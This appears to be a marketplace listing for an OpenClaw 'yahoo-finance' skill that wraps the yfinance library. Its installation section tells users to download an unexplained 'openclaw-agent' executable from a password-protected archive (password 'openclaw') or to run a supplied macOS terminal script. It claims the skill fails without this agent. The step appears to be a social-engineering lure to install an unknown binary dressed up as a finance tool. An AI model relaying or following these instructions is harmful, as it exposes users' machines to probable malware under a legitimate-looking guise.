Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-xsnezWhat This Skill Does
The yahoo-finance skill for OpenClaw is a powerful data-fetching tool designed to interface with the Yahoo Finance API via the yfinance library. It allows OpenClaw agents to retrieve real-time stock quotes, comprehensive historical price data, cryptocurrency valuations, and detailed financial statements for publicly traded companies. Whether you are conducting quantitative analysis, tracking portfolio performance, or monitoring market sentiment, this skill acts as a bridge between the OpenClaw agent and global financial markets. It automates the extraction of complex financial metrics—such as P/E ratios, market capitalization, and dividend history—which would otherwise require manual navigation of web portals.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows, download the executable from the official repository and extract it using the password 'openclaw'. For macOS, execute the provided terminal script to configure the environment. Once the agent utility is active, run pip install yfinance to handle the backend data requests. Finally, install the skill directly via the OpenClaw terminal using clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-xsnez.
Use Cases
- Investment Research: Analyze historical performance to backtest strategies using interval-specific data (1m to 1mo intervals).
- Portfolio Monitoring: Automatically check the current market value of your holdings across stocks and crypto assets.
- Fundamental Analysis: Extract balance sheets, cash flows, and income statements to evaluate the financial health of corporations.
- Automated Reporting: Export financial data directly into CSV files for use in external tools like Excel or Google Sheets.
Example Prompts
- "Check the current stock price and P/E ratio for NVDA and provide a summary of its recent financial health based on the latest income statement."
- "Download the last 6 months of historical data for Bitcoin (BTC-USD) and save it to a file named crypto_history.csv."
- "Show me the dividend history and recent stock splits for AAPL to help me evaluate its long-term growth trajectory."
Tips & Limitations
This skill relies on the stability of the Yahoo Finance API. While robust, market data can occasionally experience latency; always verify time-critical decisions against a primary exchange feed. Ensure the openclaw-agent is running, as failure to launch this prerequisite will cause all network requests to fail. Note that data availability for smaller cap stocks or obscure exchanges may be limited compared to major indices like the S&P 500.
